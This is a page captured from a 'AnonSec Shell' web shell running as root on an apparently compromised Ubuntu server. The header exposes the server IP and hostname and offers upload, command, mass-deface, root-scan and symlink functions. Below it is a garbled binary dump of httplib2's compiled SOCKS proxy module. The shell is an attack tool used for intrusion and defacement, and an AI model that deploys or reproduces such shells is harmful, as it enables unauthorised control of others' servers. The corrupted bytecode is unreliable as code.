AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/httplib2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/httplib2/__pycache__/socks.cpython-310.pyc
o

���_�L�@s�dZddlZddlZddlZddlZeedd�dured��dZdZdZ	dZ
daejZGd	d
�d
e
�ZGdd�de�ZGd
d�de�ZGdd�de�ZGdd�de�ZGdd�de�ZdZdZdZdZ	d dd�Zdd�ZGdd�dej�ZdS)!aSocksiPy - Python SOCKS module.

Version 1.00

Copyright 2006 Dan-Haim. All rights reserved.

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.
3. Neither the name of Dan Haim nor the names of his contributors may be used
   to endorse or promote products derived from this software without specific
   prior written permission.

THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA
OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE.

This module provides a standard socket-like interface for Python
for tunneling connections through SOCKS proxies.

Minor modifications made by Christopher Gilbert (http://motomastyle.com/) for
use in PyLoris (http://pyloris.sourceforge.net/).

Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/)
mainly to merge bug fixes found in Sourceforge.
�N�socketz-socket.socket missing, proxy support unusable����c@�eZdZdS)�
ProxyErrorN��__name__�
__module__�__qualname__�r
r
�0/usr/lib/python3/dist-packages/httplib2/socks.pyr7�rc@r)�GeneralProxyErrorNr	r
r
r
rr;rrc@r)�Socks5AuthErrorNr	r
r
r
rr?rrc@r)�Socks5ErrorNr	r
r
r
rrCrrc@r)�Socks4ErrorNr	r
r
r
rrGrrc@r)�	HTTPErrorNr	r
r
r
rrKrr)�successzinvalid dataz
not connectedz
not availablezbad proxy typez	bad input)
�	succeededzgeneral SOCKS server failurez!connection not allowed by rulesetzNetwork unreachablezHost unreachablezConnection refusedzTTL expiredzCommand not supportedzAddress type not supportedz
Unknown error)rzauthentication is requiredz0all offered authentication methods were rejectedz$unknown username or invalid password�
unknown error)zrequest grantedzrequest rejected or failedzLrequest rejected because SOCKS server cannot connect to identd on the clientzPrequest rejected because the client program and identd report different user-idsrTcCs||||||fadS)z�setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]])
    Sets a default proxy which all further socksocket objects will use,
    unless explicitly changed.
    N)�
_defaultproxy)�	proxytype�addr�port�rdns�username�passwordr
r
r�setdefaultproxywsrcCstdkr
t|j_dStd��)a7wrapmodule(module)

    Attempts to replace a module's socket library with a SOCKS socket. Must set
    a default proxy using setdefaultproxy(...) first.
    This will only work on modules that import socket directly into the
    namespace;
    most of the Python Standard Library falls into this category.
    N)rzno proxy specified)r�
socksocketrr)�moduler
r
r�
wrapmodule�s	r"cs�eZdZdZejejddfdd�Zdd�Z�fdd	�Z	d
d�Z
dd
�Z							ddd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Z�ZS) r asocksocket([family[, type[, proto]]]) -> socket object
    Open a SOCKS enabled socket. The parameters are the same as
    those of the standard socket init. In order for SOCKS to work,
    you must specify family=AF_INET, type=SOCK_STREAM and proto=0.
    rNcCs>t�|||||�tdkrt|_nd|_d|_d|_d|_dS)N)NNNNNNT)�
_orgsocket�__init__r�_socksocket__proxy�_socksocket__proxysockname�_socksocket__proxypeername�_socksocket__httptunnel)�self�family�type�proto�_sockr
r
rr$�s
zsocksocket.__init__cCsL|�|�}t|�|kr$|�|t|��}|std��||}t|�|ks|S)z�__recvall(count) -> data
        Receive EXACTLY the number of bytes requested from the socket.
        Blocks until the required number of bytes have been received.
        )rzconnection closed unexpectedly)�recv�lenr)r)�count�data�dr
r
r�	__recvall�s
�zsocksocket.__recvallcs(|js|�|�}tt|�j|g|�R�S)zq override socket.socket.sendall method to rewrite the header
        for non-tunneling proxies if needed
        )r(�_socksocket__rewriteproxy�superr �sendall)r)�content�args��	__class__r
rr6�s
zsocksocket.sendallc	Cs�d\}}|�d�}|D]}|���d�r|}q|���d�s%|���d�r'|}q|rr|rr|�|�|�|�|�d�d}|�d�}|jdd	krX|jd
d	krX|�d|���|�dd|�|�dd
|d||d|df�d�|�S)z� rewrite HTTP request headers to support non-tunneling proxies
        (i.e. those which do not support the CONNECT method).
        This only works for HTTP (not HTTPS) since HTTPS requires tunneling.
        )NN�
zhost:�get�post� rrN�rzHost: %sz%s http://%s%s %sr)�split�lower�
startswith�remover%�insert�_socksocket__getauthheader�join)r)�header�host�endpt�hdrs�hdrr
r
r�__rewriteproxy�s$
�


$
zsocksocket.__rewriteproxycCs*|jdd|jd}dt�|���S)Nr�:r?zProxy-Authorization: Basic )r%�base64�	b64encode�decode)r)�authr
r
r�__getauthheader�szsocksocket.__getauthheaderTcCs0|||||r
|��nd|r|��nd|f|_dS)a
setproxy(proxytype, addr[, port[, rdns[, username[, password]]]])

        Sets the proxy to be used.
        proxytype -    The type of the proxy to be used. Three types
                are supported: PROXY_TYPE_SOCKS4 (including socks4a),
                PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP
        addr -        The address of the server (IP or DNS).
        port -        The port of the server. Defaults to 1080 for SOCKS
                servers and 8080 for HTTP proxy servers.
        rdns -        Should DNS queries be preformed on the remote side
                (rather than the local side). The default is True.
                Note: This has no effect with SOCKS4 servers.
        username -    Username to authenticate with to the server.
                The default is no authentication.
        password -    Password to authenticate with to the server.
                Only relevant when username is also provided.
        headers -     Additional or modified headers for the proxy connect
        request.
        N)�encoder%)r)rrrrrr�headersr
r
r�setproxy�s
�zsocksocket.setproxyc	Cs�|jddkr|jddkr|�t�ddddd��n|�t�dddd��|�d�}|dd�td���krC|��tdt	df��|dd�td���krPn�|dd�td���kr�t
�}|�d�|�t|jd��|�
|jd�|�t|jd��|�
|jd�|�|�|�d�}|dd�td���kr�|��tdt	df��|dd�td���kr�|��td	td	f��n|��|dtd
���kr�tdtdf��tdt	df��t�dddd�}zt�|�}|td���|}Wn:tj�y4|jd	�r d}|td	���tt|����|��}nt�t�|��}|td���|}Ynw|t�d|�}|�|�|�d�}|dd�td���k�r`|��tdt	df��|dd�td���k�r�|��t|dd��dk�r�tt|dd��tt|dd��f��td
td
f��|d	d�td���k�r�|�d�}	n,|d	d�td	���k�r�||�d�}|�t|dd���}	n|��tdt	df��t�d|�d��d}
|	|
f|_|dk�r�t�|�|f|_dS||f|_dS)zk__negotiatesocks5(self,destaddr,destport)
        Negotiates a connection through a SOCKS5 server.
        rNr?�BBBBrr�BBBrr��>H��	)r%r6�struct�pack�_socksocket__recvall�chrrS�closer�_generalerrors�	bytearray�appendr/�extendr�_socks5autherrorsr�	inet_aton�error�
gethostbyname�ordr�
_socks5errorsr.�unpackr&�	inet_ntoar')r)�destaddr�destport�
chosenauth�packet�authstat�req�ipaddr�resp�	boundaddr�	boundportr
r
r�__negotiatesocks5�s�



�

������

(

zsocksocket.__negotiatesocks5cC�|jS)zigetsockname() -> address info
        Returns the bound IP address and port number at the proxy.
        )r&�r)r
r
r�getproxysocknamebszsocksocket.getproxysocknamecCs
t�|�S)z`getproxypeername() -> address info
        Returns the IP and port number of the proxy.
        )r#�getpeernameryr
r
r�getproxypeernamehs
zsocksocket.getproxypeernamecCrx)z�getpeername() -> address info
        Returns the IP address and port number of the destination
        machine (note: getproxypeername returns the proxy)
        )r'ryr
r
rr{nszsocksocket.getpeernamec
Cs�d}zt�|�}Wn#tjy,|jdr"t�ddddd�}d}nt�t�|��}Ynwt�ddd|�|}|jdd	krE||jd}|td���}|rY||td���}|�	|�|�
d
�}|dd�td���kr{|��tdt
df��|dd�td���kr�|��t|dd��d
vr�|��tt|dd��tt|dd��df��tdtdf��t�|dd	��t�d|dd��df|_|d	kr�t�|�|f|_d	S||f|_d	S)zk__negotiatesocks4(self,destaddr,destport)
        Negotiates a connection through a SOCKS4 server.
        FrrVrrTz>BBHrNrZr�Z)�[�\�]�^rY)rrfrgr%r\r]rhr_rSr6r^r`rrarir�
_socks4errorsrlrkr&r')r)rmrn�rmtrslvrsrrrtr
r
r�__negotiatesocks4usB
��

,�zsocksocket.__negotiatesocks4cCs�|jdst�|�}n|}d|dt|�dg}d}d}|jddkrA|jd��D]\}}||d|d	g7}|��d
k}|��dk}q(|sJ|d|d	g7}|sb|jd
dkrb|jddkrb||��d	g7}|�d	�|�d�	|��
��|�d�}	|	�d�
��dkr�|	|�d�}	|	�d�
��dks|	�
�d�d�
�d�}
|
dd�
�d�
�fvr�|��tdtdf��zt|
d�}Wnty�|��tdtdf��w|dkr�|��t||
df��d|_||f|_dS)zh__negotiatehttp(self,destaddr,destport)
        Negotiates a connection through an HTTP server.
        rzCONNECT �:z HTTP/1.1
F�Nz: r;rHzproxy-authorizationzHost: rr?�rz

���rr>rzHTTP/1.0zHTTP/1.1��)z0.0.0.0r)r%rrh�str�	iteritemsrArErcr6rFrSr.�find�
splitlinesr@r`rra�int�
ValueErrorrr&r')r)rmrnrrT�wrote_host_header�wrote_auth_header�key�valrt�
statusline�
statuscoder
r
r�__negotiatehttp�sJ


��zsocksocket.__negotiatehttpcCst|�ttfvst|�dkst|dttf�rt|d�tkr'tdt	df��|j
dtkrT|j
ddkr;|j
d}nd}t�
||j
d|f�|�|d|d�dS|j
dtkr�|j
ddkrh|j
d}nd}t�
||j
d|f�|�|d|d�dS|j
dtkr�|j
ddkr�|j
d}nd}t�
||j
d|f�|�|d|d�dS|j
dtkr�|j
ddkr�|j
d}nd}t�
||j
d|f�|ddkr�|�|d|d�dSd	|_dS|j
ddkr�t�
||d|df�dStd
t	d
f��)z�connect(self, despair)
        Connects to the specified destination through a proxy.
        destpar - A tuple of the IP/DNS address and the port number.
        (identical to socket's connect).
        To select the proxy server use setproxy().
        rrrr?Ni8i�i�Fr)r+�list�tupler/�
isinstancer��bytesr�rrar%�PROXY_TYPE_SOCKS5r#�connect�_socksocket__negotiatesocks5�PROXY_TYPE_SOCKS4�_socksocket__negotiatesocks4�PROXY_TYPE_HTTP�_socksocket__negotiatehttp�PROXY_TYPE_HTTP_NO_TUNNELr()r)�destpair�portnumr
r
rr��sL	�
���
zsocksocket.connect)NNNTNNN)r
rr�__doc__r�AF_INET�SOCK_STREAMr$r^r6r4rErUr�rzr|r{r�r�r��
__classcell__r
r
r9rr �s.
�

�'g3-r )NNNTNN)r�rNrr\�sys�getattr�ImportErrorr�r�r�r�rr#�	Exceptionrrrrrrrarjrer�rr"r r
r
r
r�<module>s6%	

�

Anon7 - 2022
AnonSec Team